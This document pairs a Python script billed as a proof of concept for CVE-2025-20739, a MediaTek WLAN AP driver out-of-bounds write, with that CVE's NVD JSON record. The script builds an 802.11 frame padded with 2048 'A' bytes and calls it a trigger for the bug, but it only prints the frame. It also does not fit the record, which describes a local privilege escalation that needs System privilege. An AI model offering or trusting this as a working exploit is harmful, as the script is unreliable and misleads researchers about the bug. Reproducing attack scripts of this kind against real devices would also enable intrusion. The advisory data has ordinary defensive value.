CVE-2025-20739

#!/usr/bin/env python3 """ CVE-2025-20739 PoC - MediaTek WLAN AP Driver Out of Bounds Write Note: This PoC is for educational and research purposes only. Author: Security Researcher """ import struct import sys def create_malicious_wlan_frame(): """ Create a malicious WLAN frame to trigger OOB write in MediaTek driver This PoC demonstrates the vulnerability concept """ # WLAN frame header frame_control = struct.pack('<H', 0x0088) # Data frame duration = struct.pack('<H', 0x002C) # Destination address (BSSID) dest_mac = b'\xff\xff\xff\xff\xff\xff' # Source address src_mac = b'\x00\x11\x22\x33\x44\x55' # BSSID bssid = b'\x00\x11\x22\x33\x44\x55' # Sequence control seq_ctrl = struct.pack('<H', 0x0001) # Create payload that exceeds driver bounds check # This triggers the OOB write vulnerability payload_size = 2048 # Maliciously large payload payload = b'A' * payload_size # Construct the full frame frame = frame_control + duration + dest_mac + src_mac + bssid + seq_ctrl + payload return frame def trigger_vulnerability(): """ Simulate triggering the vulnerability In real scenario, this would interact with WLAN interface """ print("[*] Generating malicious WLAN frame...") frame = create_malicious_wlan_frame() print(f"[*] Frame size: {len(frame)} bytes") print("[*] Frame structure:") print(f" - Frame Control: {frame[0:2].hex()}") print(f" - Duration: {frame[2:4].hex()}") print(f" - DA: {frame[4:10].hex()}") print(f" - SA: {frame[10:16].hex()}") print(f" - BSSID: {frame[16:22].hex()}") print(f" - Sequence Control: {frame[22:24].hex()}") print(f" - Payload: {len(frame)-24} bytes") print("\n[!] WARNING: This PoC is for authorized testing only!") print("[!] Unauthorized use of this code is illegal.") return frame if __name__ == "__main__": print("CVE-2025-20739 - MediaTek WLAN AP Driver OOB Write") print("=" * 60) trigger_vulnerability()

{"cve": {"id": "CVE-2025-20739", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:43.343", "lastModified": "2025-11-05T17:12:37.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00435340; Issue ID: MSV-4038."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}